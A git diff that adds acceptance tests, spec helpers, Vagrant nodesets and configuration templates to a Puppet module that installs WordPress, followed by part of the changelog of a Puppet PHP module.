+ roles:
+ - master
+ platform: sles-11-x64
+ box : sles-11sp1-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/sles-11sp1-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
new file mode 100644
index 000000000..5ca1514e4
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ ubuntu-server-10044-x64:
+ roles:
+ - master
+ platform: ubuntu-10.04-amd64
+ box : ubuntu-server-10044-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-10044-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
new file mode 100644
index 000000000..d065b304f
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ ubuntu-server-12042-x64:
+ roles:
+ - master
+ platform: ubuntu-12.04-amd64
+ box : ubuntu-server-12042-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-12042-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb
new file mode 100644
index 000000000..3d151a257
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb
@@ -0,0 +1,102 @@
+require 'spec_helper_acceptance'
+
+describe "setting up a wordpress instance" do
+ it 'deploys a wordpress instance' do
+ pp = %{
+ class { 'apache':
+ mpm_module => 'prefork',
+ }
+ class { 'apache::mod::php': }
+ class { 'mysql::server': }
+ class { 'mysql::bindings': php_enable => true, }
+ host { 'wordpress.localdomain': ip => '127.0.0.1', }
+
+ apache::vhost { 'wordpress.localdomain':
+ docroot => '/opt/wordpress',
+ port => '80',
+ }
+
+ class { 'wordpress':
+ install_dir => '/opt/wordpress/blog',
+ require => Class['mysql::server'],
+ }
+ }
+
+ expect(apply_manifest(pp, :catch_failures => true).stderr).to eq("")
+ expect(apply_manifest(pp, :catch_changes => true).stderr).to eq("")
+
+ expect(shell("/usr/bin/curl wordpress.localdomain:80/blog/wp-admin/install.php").stdout).to match(/Install WordPress/)
+ end
+
+ it 'deploys two wordpress instances' do
+ pp = %{
+ class { 'apache':
+ mpm_module => 'prefork',
+ }
+ class { 'apache::mod::php': }
+ class { 'mysql::server': }
+ class { 'mysql::bindings': php_enable => true, }
+ host { 'wordpress1.localdomain': ip => '127.0.0.1', }
+ host { 'wordpress2.localdomain': ip => '127.0.0.1', }
+
+ apache::vhost { 'wordpress1.localdomain':
+ docroot => '/opt/wordpress1',
+ port => '80',
+ }
+ apache::vhost { 'wordpress2.localdomain':
+ docroot => '/opt/wordpress2',
+ port => '80',
+ }
+
+ wordpress::instance { '/opt/wordpress1/blog':
+ db_name => 'wordpress1',
+ db_user => 'wordpress1',
+ require => Class['mysql::server'],
+ }
+ wordpress::instance { '/opt/wordpress2/blog':
+ db_name => 'wordpress2',
+ db_user => 'wordpress2',
+ require => Class['mysql::server'],
+ }
+ }
+
+ expect(apply_manifest(pp, :catch_failures => true).stderr).to eq("")
+ expect(apply_manifest(pp, :catch_changes => true).stderr).to eq("")
+
+ expect(shell("/usr/bin/curl wordpress1.localdomain:80/blog/wp-admin/install.php").stdout).to match(/Install WordPress/)
+ expect(shell("/usr/bin/curl wordpress2.localdomain:80/blog/wp-admin/install.php").stdout).to match(/Install WordPress/)
+ end
+
+ it 'deploys a wordpress instance as the httpd user with a secure DB password and a specific location' do
+ pp = %{
+ class { 'apache':
+ mpm_module => 'prefork',
+ }
+ class { 'apache::mod::php': }
+ class { 'mysql::server': }
+ class { 'mysql::bindings::php': }
+
+ apache::vhost { 'wordpress.localdomain':
+ docroot => '/var/www/wordpress',
+ port => '80',
+ }
+
+ class { 'wordpress':
+ install_dir => '/var/www/wordpress/blog',
+ wp_owner => $apache::user,
+ wp_group => $apache::group,
+ db_name => 'wordpress',
+ db_host => 'localhost',
+ db_user => 'wordpress',
+ db_password => 'hvyH(S%t(\"0\"16',
+ }
+ }
+
+ pending
+ end
+
+ it 'deploys a wordpress instance with a remote DB'
+ it 'deploys a wordpress instance with a pre-existing DB'
+ it 'deploys a wordpress instance of a specific version'
+ it 'deploys a wordpress instance from an internal server'
+end
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb b/modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb
new file mode 100644
index 000000000..2ca2b6843
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb
@@ -0,0 +1,36 @@
+require 'spec_helper'
+
+describe 'wordpress', :type => :class do
+ context "on a RedHat 5 OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :lsbmajdistrelease => '5',
+ :concat_basedir => '/dne',
+ }
+ end
+ it { should contain_wordpress__instance__app("/opt/wordpress") }
+ it { should contain_wordpress__instance__db("localhost/wordpress") }
+ end
+ context "on a RedHat 6 OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :lsbmajdistrelease => '6',
+ :concat_basedir => '/dne',
+ }
+ end
+ it { should contain_wordpress__instance__app("/opt/wordpress") }
+ it { should contain_wordpress__instance__db("localhost/wordpress") }
+ end
+ context "on a Debian OS" do
+ let :facts do
+ {
+ :osfamily => 'Debian',
+ :concat_basedir => '/dne',
+ }
+ end
+ it { should contain_wordpress__instance__app("/opt/wordpress") }
+ it { should contain_wordpress__instance__db("localhost/wordpress") }
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml b/modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml
new file mode 100644
index 000000000..3248be5aa
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml
@@ -0,0 +1,8 @@
+# Use default_module_facts.yml for module specific facts.
+#
+# Facts specified here will override the values provided by rspec-puppet-facts.
+---
+concat_basedir: "/tmp"
+ipaddress: "172.16.254.254"
+is_pe: false
+macaddress: "AA:AA:AA:AA:AA:AA"
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb b/modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb
new file mode 100644
index 000000000..794f1cf4f
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb
@@ -0,0 +1,45 @@
+require 'spec_helper'
+
+describe 'wordpress::instance', :type => :define do
+ let :title do
+ '/opt/wordpress2'
+ end
+ let :params do
+ {
+ :db_user => 'test',
+ :db_name => 'test'
+ }
+ end
+ context "on a RedHat 5 OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :lsbmajdistrelease => '5',
+ :concat_basedir => '/dne',
+ }
+ end
+ it { should contain_wordpress__instance__app("/opt/wordpress2") }
+ it { should contain_wordpress__instance__db("localhost/test") }
+ end
+ context "on a RedHat 6 OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :lsbmajdistrelease => '6',
+ :concat_basedir => '/dne',
+ }
+ end
+ it { should contain_wordpress__instance__app("/opt/wordpress2") }
+ it { should contain_wordpress__instance__db("localhost/test") }
+ end
+ context "on a Debian OS" do
+ let :facts do
+ {
+ :osfamily => 'Debian',
+ :concat_basedir => '/dne',
+ }
+ end
+ it { should contain_wordpress__instance__app("/opt/wordpress2") }
+ it { should contain_wordpress__instance__db("localhost/test") }
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/spec.opts b/modules/utilities/unix/puppet_module/wordpress/spec/spec.opts
new file mode 100644
index 000000000..de653df4b
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/spec.opts
@@ -0,0 +1,4 @@
+--format s
+--colour
+--loadby mtime
+--backtrace
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb
new file mode 100644
index 000000000..efd225b54
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb
@@ -0,0 +1,30 @@
+require 'puppetlabs_spec_helper/module_spec_helper'
+require 'rspec-puppet-facts'
+
+begin
+ require 'spec_helper_local' if File.file?(File.join(File.dirname(__FILE__), 'spec_helper_local.rb'))
+rescue LoadError => loaderror
+ warn "Could not require spec_helper_local: #{loaderror.message}"
+end
+
+include RspecPuppetFacts
+
+default_facts = {
+ puppetversion: Puppet.version,
+ facterversion: Facter.version,
+}
+
+default_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_facts.yml'))
+default_module_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_module_facts.yml'))
+
+if File.exist?(default_facts_path) && File.readable?(default_facts_path)
+ default_facts.merge!(YAML.safe_load(File.read(default_facts_path)))
+end
+
+if File.exist?(default_module_facts_path) && File.readable?(default_module_facts_path)
+ default_facts.merge!(YAML.safe_load(File.read(default_module_facts_path)))
+end
+
+RSpec.configure do |c|
+ c.default_facts = default_facts
+end
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb
new file mode 100644
index 000000000..b0f000afc
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb
@@ -0,0 +1,35 @@
+require 'beaker-rspec/spec_helper'
+require 'beaker-rspec/helpers/serverspec'
+
+unless ENV['RS_PROVISION'] == 'no' or ENV['BEAKER_provision'] == 'no'
+ if hosts.first.is_pe?
+ install_pe
+ else
+ install_puppet({ :version => '3.6.2',
+ :facter_version => '2.1.0',
+ :hiera_version => '1.3.4',
+ :default_action => 'gem_install' })
+ hosts.each {|h| on h, "/bin/echo '' > #{h['hieraconf']}" }
+ end
+ hosts.each do |host|
+ on host, "mkdir -p #{host['distmoduledir']}"
+ on host, puppet('module','install','puppetlabs-stdlib'), :acceptable_exit_codes => [0,1]
+ on host, puppet('module','install','puppetlabs-concat'), :acceptable_exit_codes => [0,1]
+ on host, puppet('module','install','puppetlabs-mysql' ), :acceptable_exit_codes => [0,1]
+ on host, puppet('module','install','puppetlabs-apache'), :acceptable_exit_codes => [0,1]
+ end
+end
+
+RSpec.configure do |c|
+ # Project root
+ proj_root = File.expand_path(File.join(File.dirname(__FILE__), '..'))
+
+ # Readable test descriptions
+ c.formatter = :documentation
+
+ # Configure all nodes in nodeset
+ c.before :suite do
+ # Install module and dependencies
+ puppet_module_install(:source => proj_root, :module_name => 'wordpress')
+ end
+end
diff --git a/modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb b/modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb
new file mode 100644
index 000000000..73a080b46
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb
@@ -0,0 +1,26 @@
+#!/bin/bash
+<% require 'uri'
+ $url_base = "#{@https ? 'https' : 'http'}://#{@ip_address}:#{@https ? '443' : @port}"
+ $params = ''
+ $params += 'weblog_title=' + URI::encode(@blog_title)
+ $params += '&admin_email=' + URI::encode(@admin_email)
+ if @version[0].to_i >= 3
+ $params += '&user_name=' + @username
+ $params += '&admin_password=' + @admin_password
+ $params += '&admin_password2=' + @admin_password
+ elsif (@version[0].to_i == 4) and (@version[2].to_i >= 3)
+ $params += '&pw_weak=on'
+ $params += '&pass1-text=' + @admin_password
+ end
+ if @version[0].to_i == 1 and @version[2].to_i == 5
+ $params += '&Submit=Continue+to+Second+Step+%C2%BB'
+ else
+ $params += '&blog_public=1'
+ $params += '&Submit=Install+WordPress'
+ $params += '&language='
+ end
+-%>
+sudo curl -L <%= @https ? '-k ': '' %><%= $url_base %>
+sleep 10
+sudo curl -L --data '<%= $params %>' <%= @https ? '-k ': '' %><%= $url_base %>/wp-admin/install.php?step=2
+sleep 10
\ No newline at end of file
diff --git a/modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb b/modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb
new file mode 100644
index 000000000..f29611e64
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb
@@ -0,0 +1,114 @@
+/**
+ * The base configurations of the WordPress.
+ *
+ * This file has the following configurations: MySQL settings, Table Prefix,
+ * Secret Keys, WordPress Language, and ABSPATH. You can find more information
+ * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
+ * wp-config.php} Codex page. You can get the MySQL settings from your web host.
+ *
+ * This file is used by the wp-config.php creation script during the
+ * installation. You don't have to use the web site, you can just copy this file
+ * to "wp-config.php" and fill in the values.
+ *
+ * @package WordPress
+ */
+
+// ** MySQL settings - You can get this info from your web host ** //
+/** The name of the database for WordPress */
+define('DB_NAME', '<%= @db_name %>');
+
+/** MySQL database username */
+define('DB_USER', '<%= @db_user %>');
+
+/** MySQL database password */
+define('DB_PASSWORD', '<%= @db_password %>');
+
+/** MySQL hostname */
+define('DB_HOST', '<%= @db_host %>');
+
+/** Database Charset to use in creating database tables. */
+define('DB_CHARSET', 'utf8');
+
+/** The Database Collate type. Don't change this if in doubt. */
+define('DB_COLLATE', '');
+
+/**
+ * WordPress Database Table prefix.
+ *
+ * You can have multiple installations in one database if you give each a unique
+ * prefix. Only numbers, letters, and underscores please!
+ */
+$table_prefix = '<%= @wp_table_prefix %>';
+
+/**
+ * WordPress Localized Language, defaults to English.
+ *
+ * Change this to localize WordPress. A corresponding MO file for the chosen
+ * language must be installed to wp-content/languages. For example, install
+ * de_DE.mo to wp-content/languages and set WPLANG to 'de_DE' to enable German
+ * language support.
+ */
+
+define('WPLANG', '<%= @wp_lang %>');
+
+/**
+ * For developers: WordPress debugging mode.
+ *
+ * Change this to true to enable the display of notices during development.
+ * It is strongly recommended that plugin and theme developers use WP_DEBUG
+ * in their development environments.
+ *
+ * WP_DEBUG_LOG is a companion to WP_DEBUG that causes all errors to also be
+ * saved to a debug.log log file inside the /wp-content/ directory. This is
+ * useful if you want to review all notices later or need to view notices
+ * generated off-screen (e.g. during an AJAX request or wp-cron run).
+ *
+ * WP_DEBUG_DISPLAY is another companion to WP_DEBUG that controls whether
+ * debug messages are shown inside the HTML of pages or not. The default
+ * is 'true' which shows errors and warnings as they are generated. Setting
+ * this to false will hide all errors. This should be used in conjunction with
+ * WP_DEBUG_LOG so that errors can be reviewed later.
+ */
+define('WP_DEBUG', <%= @wp_debug %>);
+define('WP_DEBUG_LOG', <%= @wp_debug_log %>);
+define('WP_DEBUG_DISPLAY', <%= @wp_debug_display %>);
+
+<% if @wp_plugin_dir != 'DEFAULT' %>
+define('WP_PLUGIN_DIR', '<%= @wp_plugin_dir %>');
+<% end %>
+
+<% if @wp_proxy_host and ! @wp_proxy_host.empty? %>
+/* Proxy Settings */
+define('WP_PROXY_HOST', '<%= @wp_proxy_host %>');
+<% if @wp_proxy_port and ! @wp_proxy_port.empty? %>
+define('WP_PROXY_PORT', '<%= @wp_proxy_port %>');
+<% end %>
+<% end %>
+
+<% if @wp_site_url %>
+define('WP_SITEURL', '<%= @wp_site_url %>');
+<% end %>
+
+<% if @wp_multisite %>
+/* Multisite */
+define('WP_ALLOW_MULTISITE', true);
+define('MULTISITE', true);
+define('SUBDOMAIN_INSTALL', true);
+define('DOMAIN_CURRENT_SITE', '<%= @wp_site_domain %>');
+define('PATH_CURRENT_SITE', '/');
+define('SITE_ID_CURRENT_SITE', 1);
+define('BLOG_ID_CURRENT_SITE', 1);
+<% end %>
+
+<% if @wp_additional_config != 'DEFAULT' -%>
+<%= scope.function_template([@wp_additional_config]) %>
+<% end -%>
+/* That's all, stop editing! Happy blogging. */
+
+/** Absolute path to the WordPress directory. */
+if ( !defined('ABSPATH') )
+ define('ABSPATH', dirname(__FILE__) . '/');
+
+/** Sets up WordPress vars and included files. */
+require_once(ABSPATH . 'wp-settings.php');
+
diff --git a/modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb b/modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb
new file mode 100644
index 000000000..9f6a4c6dd
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb
@@ -0,0 +1,21 @@
+');
+define('SECURE_AUTH_KEY', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+define('LOGGED_IN_KEY', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+define('NONCE_KEY', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+define('AUTH_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+define('SECURE_AUTH_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+define('LOGGED_IN_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+define('NONCE_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>');
+
+/**#@-*/
+
diff --git a/modules/utilities/unix/puppet_module/wordpress/tests/init.pp b/modules/utilities/unix/puppet_module/wordpress/tests/init.pp
new file mode 100644
index 000000000..4d39bb34f
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/tests/init.pp
@@ -0,0 +1,7 @@
+class { 'wordpress':
+ install_dir => '/var/www/wordpress',
+ db_name => 'wordpress',
+ db_host => 'localhost',
+ db_user => 'wordpress',
+ db_password => 'insecure password',
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/wordpress.pp b/modules/utilities/unix/puppet_module/wordpress/wordpress.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/utilities/unix/web_frameworks/php/CHANGELOG.md b/modules/utilities/unix/web_frameworks/php/CHANGELOG.md
new file mode 100644
index 000000000..9db584158
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/CHANGELOG.md
@@ -0,0 +1,288 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+Each new release typically also includes the latest modulesync defaults.
+These should not affect the functionality of the module.
+
+## [v5.2.0](https://github.com/voxpupuli/puppet-php/tree/v5.2.0) (2018-02-14)
+
+[Full Changelog](https://github.com/voxpupuli/puppet-php/compare/v5.1.0...v5.2.0)
+
+**Implemented enhancements:**
+
+- add ubuntu 16.04 support [\#412](https://github.com/voxpupuli/puppet-php/pull/412) ([bastelfreak](https://github.com/bastelfreak))
+- Add PHP 7.1 support on Debian [\#293](https://github.com/voxpupuli/puppet-php/pull/293) ([fstr](https://github.com/fstr))
+
+**Fixed bugs:**
+
+- Auto\_update not idempotent [\#402](https://github.com/voxpupuli/puppet-php/issues/402)
+- use correct require arguments [\#415](https://github.com/voxpupuli/puppet-php/pull/415) ([bastelfreak](https://github.com/bastelfreak))
+- fix composer auto\_update idempotency in case no update is available [\#408](https://github.com/voxpupuli/puppet-php/pull/408) ([joekohlsdorf](https://github.com/joekohlsdorf))
+- Fixing wrong pear package name in Amazon Linux [\#399](https://github.com/voxpupuli/puppet-php/pull/399) ([gdurandvadas](https://github.com/gdurandvadas))
+
+**Closed issues:**
+
+- Upgrade to work with Puppet5 [\#406](https://github.com/voxpupuli/puppet-php/issues/406)
+- php 7.2 + ubuntu 16.04 - pdo-mysql extension not installing correctly [\#405](https://github.com/voxpupuli/puppet-php/issues/405)
+- config\_root parameter does nothing on RHEL7 [\#397](https://github.com/voxpupuli/puppet-php/issues/397)
+
+**Merged pull requests:**
+
+- Deprecate hiera\_hash functions [\#410](https://github.com/voxpupuli/puppet-php/pull/410) ([minorOffense](https://github.com/minorOffense))
+- mark Puppet 5 as supported [\#407](https://github.com/voxpupuli/puppet-php/pull/407) ([joekohlsdorf](https://github.com/joekohlsdorf))
+- Change default RedHat params to use config\_root [\#398](https://github.com/voxpupuli/puppet-php/pull/398) ([DALUofM](https://github.com/DALUofM))
+
+## [v5.1.0](https://github.com/voxpupuli/puppet-php/tree/v5.1.0) (2017-11-10)
+
+[Full Changelog](https://github.com/voxpupuli/puppet-php/compare/v5.0.0...v5.1.0)
+
+**Fixed bugs:**
+
+- Fix syntax issues with data types [\#385](https://github.com/voxpupuli/puppet-php/pull/385) ([craigwatson](https://github.com/craigwatson))
+- fix ubuntu 17.04 version for php7 [\#383](https://github.com/voxpupuli/puppet-php/pull/383) ([arudat](https://github.com/arudat))
+- Fix OS fact comparison for Ubuntu 12 and 14 [\#375](https://github.com/voxpupuli/puppet-php/pull/375) ([dbeckham](https://github.com/dbeckham))
+- Fix OS facts usage when selecting repo class for Ubuntu systems [\#374](https://github.com/voxpupuli/puppet-php/pull/374) ([dbeckham](https://github.com/dbeckham))
+- Confine pecl provider to where pear command is available [\#364](https://github.com/voxpupuli/puppet-php/pull/364) ([walkamongus](https://github.com/walkamongus))
+- fix default value of php::fpm::pool::access\_log\_format [\#361](https://github.com/voxpupuli/puppet-php/pull/361) ([lesinigo](https://github.com/lesinigo))
+
+**Closed issues:**
+
+- Debian repository classes are being selected on Ubuntu systems [\#373](https://github.com/voxpupuli/puppet-php/issues/373)
+- Changes in \#357 break Ubuntu version dependent resources [\#372](https://github.com/voxpupuli/puppet-php/issues/372)
+
+**Merged pull requests:**
+
+- release 5.1.0 [\#394](https://github.com/voxpupuli/puppet-php/pull/394) ([bastelfreak](https://github.com/bastelfreak))
+- Proposed fix for failing parallel spec tests [\#386](https://github.com/voxpupuli/puppet-php/pull/386) ([wyardley](https://github.com/wyardley))
+- update dependencies in metadata [\#379](https://github.com/voxpupuli/puppet-php/pull/379) ([mmoll](https://github.com/mmoll))
+- Bump metadata.json version to 5.0.1-rc [\#377](https://github.com/voxpupuli/puppet-php/pull/377) ([dhollinger](https://github.com/dhollinger))
+- bump dep on puppet/archive to '\< 3.0.0' [\#376](https://github.com/voxpupuli/puppet-php/pull/376) ([costela](https://github.com/costela))
+- Release 5.0.0 [\#371](https://github.com/voxpupuli/puppet-php/pull/371) ([hunner](https://github.com/hunner))
+- Backport of \#355 remove example42/yum dependency on puppet3 branch [\#366](https://github.com/voxpupuli/puppet-php/pull/366) ([LEDfan](https://github.com/LEDfan))
+- Add missing php-fpm user and group class param docs [\#346](https://github.com/voxpupuli/puppet-php/pull/346) ([dbeckham](https://github.com/dbeckham))
+
+## [v5.0.0](https://github.com/voxpupuli/puppet-php/tree/v5.0.0) (2017-08-07)
+### Summary
+This backwards-incompatible release drops puppet 3, PHP 5.5 on Ubuntu, and the deprecated `php::extension` parameter `pecl_source`. It improves much of the internal code quality, and adds several useful features the most interesting of which is probably the `php::extension` parameter `ini_prefix`.
+
+### Changed
+- Drop puppet 3 compatibility.
+- Bumped puppetlabs-apt lower bound to 4.1.0
+- Bumped puppetlabs-stdlib lower bound to 4.13.1
+
+### Removed
+- Deprecated `php::extension` define parameters `pecl_source`. Use `source` instead.
+- PHP 5.5 support on ubuntu.
+
+### Added
+- `php` class parameters `fpm_user` and `fpm_group` to customize php-fpm user/group.
+- `php::fpm` class parameters `user` and `group`.
+- `php::fpm::pool` define parameter `pm_process_idle_timeout` and pool.conf `pm.process_idle_timeout` directive.
+- `php::extension` class parameters `ini_prefix` and `install_options`.
+- Archlinux compatibility.
+- Bumped puppetlabs-apt upper bound to 5.0.0
+
+### Fixed
+- Replaced validate functions with data types.
+- Linting issues.
+- Replace legacy facts with facts hash.
+- Simplify `php::extension`
+- Only apt dependency when `manage_repos => true`
+- No more example42/yum dependency
+
+## 2017-02-11 Release [4.0.0]
+
+This is the last release with Puppet3 support!
+* Fix a bug turning `manage_repos` off on wheezy
+* Fix a deprecation warning on `apt::key` when using `manage_repos` on wheezy (#110). This change requires puppetlabs/apt at >= 1.8.0
+* Allow removal of config values (#124)
+* Add `phpversion` fact, for querying through PuppetDB or Foreman (#119)
+* Allow configuring the fpm pid file (#123)
+* Add embedded SAPI support (#115)
+* Add options to fpm config and pool configs (#139)
+* Add parameter logic for PHP 7 on Ubuntu/Debian (#180)
+* add SLES PHP 7.0 Support (#220)
+* allow packaged extensions to be loaded as zend extensions
+* Fix command to enable php extensions (#226)
+* Fix many rucocop warnings
+* Update module Ubuntu 14.04 default to official repository setup
+* Fix dependency for extentions with no package source
+* Allow packaged extensions to be loaded as Zend extensions
+* Support using an http proxy for downloading composer
+* Refactor classes php::fpm and php::fpm:service
+* Manage apache/PHP configurations on Debian and RHEL systems
+* use voxpupuli/archive to download composer
+* respect $manage_repos, do not include ::apt if set to false
+* Bump min version_requirement for Puppet + deps
+* allow pipe param for pecl extensions
+* Fix: composer auto_update: exec's environment must be array
+
+### Breaking Changes
+ * Deep merge `php::extensions` the same way as `php::settings`. This technically is a
+ breaking change but should not affect many people.
+ * PHP 5.6 is the default version on all systems now (except Ubuntu 16.04, where 7.0 is the default).
+ * There's a php::globals class now, where global paramters (like the PHP version) are set. (#132)
+ * Removal of php::repo::ubuntu::ppa (#218)
+
+## 3.4.2
+ * Fix a bug that changed the default of `php::manage_repos` to `false` on
+ Debian-based operating systems except wheezy. It should be turned on by
+ default. (#116)
+ * Fix a bug that prevented reloading php-fpm on Ubuntu in some cases.
+ (#117, #107)
+
+## 3.4.1
+ * Fix reloading php-fpm on Ubuntu trusty & utopic (#107)
+
+## 3.4.0
+ * New parameter `ppa` for class `php::repo::ubuntu` to specify the ppa
+ name to use. We default to `ondrej/php5-oldstable` for precise and
+ `ondrej/php5` otherwise.
+ * New parameter `include` for `php::fpm::pool` resources to specify
+ custom configuration files.
+
+## 3.3.1
+ * Make `systemd_interval` parameter for class `php::fpm::config` optional
+
+## 3.3.0
+ * `php::extension` resources:
+ * New boolean parameter `settings_prefix` to automatically prefix all
+ settings keys with the extensions names. Defaults to false to ensurre
+ the current behaviour.
+ * New string parameter `so_name` to set the DSO name of an extension if
+ it doesn't match the package name.
+ * New string parameter `php_api_version` to set a custom api version. If
+ not `undef`, the `so_name` is prefixed with the full module path in the
+ ini file. Defaults to `undef`.
+ * The default of the parameter `listen_allowed_clients` of `php::fpm::pool`
+ resources is now `undef` instead of `'127.0.0.1'`. This way it is more
+ intuitive to change the default tcp listening socket at `127.0.0.1:9000`
+ to a unix socket by only setting the `listen` parameter instead of
+ additionally needing to unset `listen_allowed_clients`. This has no
+ security implications.
+ * New parameters for the `php::fpm::config` class:
+ * `error_log`
+ * `syslog_facility`
+ * `syslog_ident`
+ * `systemd_interval`
+ * A bug that prevented merging the global `php::settings` parameter into
+ SAPI configs for `php::cli` and `php::fpm` was fixed.
+ * The dotdeb repos are now only installed for Debian wheezy as Debian jessie
+ has a sufficiently recent PHP version.
+
+## 3.2.2
+ * Fix a typo in hiera keys `php::settings` & `php::fpm::settings` (#83)
+
+## 3.2.1
+ * Fixed default `yum_repo` key in `php::repo::redhat`
+ * On Ubuntu precise we now use the ondrej/php5-oldstable ppa. This can be
+ manually enabled with by setting `$php::repo::ubuntu::oldstable` to
+ `true`.
+ * `$php::ensure` now defaults to `present` instead of `latest`. Though,
+ strictly speaking, this represents a functional change, we consider this
+ to be a bugfix because automatic updates should be enabled explicitely.
+ * `$php::ensure` is not anymore passed to `php::extension` resources as
+ default ensure parameter because this doesn't make sense.
+
+## 3.2.0
+ * Support for FreeBSD added by Frank Wall
+ * RedHat now uses remi-php56 yum repo by default
+ * The resource `php::fpm::pool` is now public, you can use it in your
+ manifests without using `$php::fpm::pools`
+ * We now have autogenerated documentation using `puppetlabs/strings`
+
+## 3.1.0
+ * New parameter `pool_purge` for `php::extension` to remove files not
+ managed by puppet from the pool directory.
+ * The `pecl_source` parameter for `php::extension` was renamend to
+ `source` because it is also useful for PEAR extensions.
+ `pecl_source` can still be used but is deprecated and will be
+ removed in the next major release.
+ * Parameters referring to time in `php::fpm::config` can now be
+ specified with units (i.e. `'60s'`, `'1d'`):
+ * `emergency_restart_threshold`
+ * `emergency_restart_interval`
+ * `process_control_timeout`
+ * The PEAR version is not independant of `$php::ensure` and can be
+ configured with `$php::pear_ensure`
+ * Give special thanks to the contributors of this release:
+ * Petr Sedlacek
+ * Sherlan Moriah
+
+## 3.0.1
+ * Fix typo in package suffix for php-fpm on RHEL in params.pp
+
+## 3.0.0
+ * Removes `$php::fpm::pool::error_log`. Use the `php_admin_flag` and
+ `php_admin_value` parameters to set the php settings `log_errors` and
+ `error_log` instead.
+ * Removes support for PHP 5.3 on Debian-based systems. See the notes in the
+ README for more information.
+ * Removes the `php_version` fact which had only worked on the later puppet runs.
+ * Moves CLI-package handling to `php::packages`
+ * Allows changing the package prefix via `php::package_prefix`.
+ * Moves FPM-package handling from `php::fpm::package` to `php::fpm`
+ * Changes `php::packages`, so that `php::packages::packages` becomes
+ `php::packages::names` and are installed and `php::packages::names_to_prefix`
+ are installed prefixed by `php::package_prefix`.
+ * PHPUnit is now installed as phar in the same way composer is installed,
+ causing all parameters to change
+ * The `php::extension` resource has a new parameter: `zend`. If set to true,
+ exenstions that were installed with pecl are loaded with `zend_extension`.
+
+## 2.0.4
